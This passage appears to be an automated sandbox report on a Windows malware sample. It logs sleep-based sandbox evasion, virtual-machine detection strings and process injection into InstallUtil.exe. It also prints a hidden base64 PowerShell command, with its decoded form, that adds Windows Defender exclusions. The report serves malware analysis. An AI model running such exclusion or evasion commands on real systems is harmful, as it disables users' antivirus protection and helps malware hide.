Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -98624s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -98507s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -98389s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -98272s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -98141s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -98000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -59881s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -59757s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -59641s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -59515s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -59387s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -59278s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -59171s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -59062s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -58942s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -58801s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -58643s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -58516s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -58397s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -58259s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -58141s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -58016s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -57891s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -57781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -57669s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -57562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -57453s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -57344s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -57231s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -57121s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -57008s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -56895s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -56766s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -56656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -56547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -56234s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -56118s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -56000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -55877s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -55750s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -55641s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7292	Thread sleep count: 8118 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7308	Thread sleep count: 1388 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5356	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -16602069666338586s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 7628	Thread sleep count: 3588 > 30
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -99834s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 7628	Thread sleep count: 601 > 30
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -99703s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -99565s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -99437s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -99328s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -99218s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -99108s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -98999s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -98890s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -98765s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -98527s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -98406s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -98295s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -98186s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -98051s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -97922s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -97810s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -97703s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -97593s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 5804	Thread sleep time: -97484s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe TID: 8000	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 99874	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 99546	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 99437	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 99328	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 99219	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 99108	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 99000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 98877	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 98750	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 98640	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 98526	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 98360	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 98234	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 98125	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 98015	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 97906	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 99874	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 99546	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 99434	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 99316	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 99187	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 98921	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 98804	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 98687	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 98574	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 98468	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 98359	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 98249	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 97989	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 97859	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 97746	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99670	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99448	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99122	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98624	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98507	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98389	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98272	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59881	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59757	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59387	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59278	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59171	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 58942	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 58801	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 58643	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 58516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 58397	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 58259	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 58141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 58016	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 57891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 57781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 57669	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 57562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 57453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 57344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 57231	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 57121	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 57008	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 56895	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 56766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 56656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 56547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 56234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 56118	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 56000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 55877	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 55750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 55641	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 99834
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 99703
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 99565
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 99437
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 99328
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 99218
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 99108
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 98999
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 98890
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 98765
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 98527
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 98406
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 98295
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 98186
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 98051
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 97922
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 97810
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 97703
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 97593
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 97484
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 922337203685477

Source: txxbiwtbs.exe, 0000000B.00000002.1995844689.00000000029BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: txxbiwtbs.exe, 0000000B.00000002.1995844689.00000000029BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: InstallUtil.exe, 00000004.00000002.2968906608.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll"
Source: file.exe, 00000000.00000002.1761959990.0000000001275000.00000004.00000020.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1838711068.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.1975910314.0000000000CA2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVAB5AHAAZQBJAGQALgBlAHgAZQA7AA==

Encrypted powershell cmdline option found

Source: unknown	Process created: Base64 decoded Add-MpPreference -ExclusionPath C:\Users\jones\AppData\Local,C:\Users\jones\AppData\Local\Temp\; Add-MpPreference -ExclusionProcess TypeId.exe;
Source: unknown	Process created: Base64 decoded Add-MpPreference -ExclusionPath C:\Users\jones\AppData\Local,C:\Users\jones\AppData\Local\Temp\; Add-MpPreference -ExclusionProcess TypeId.exe;

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 404000	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 406000	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: EC3008	Jump to behavior

Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Jump to behavior

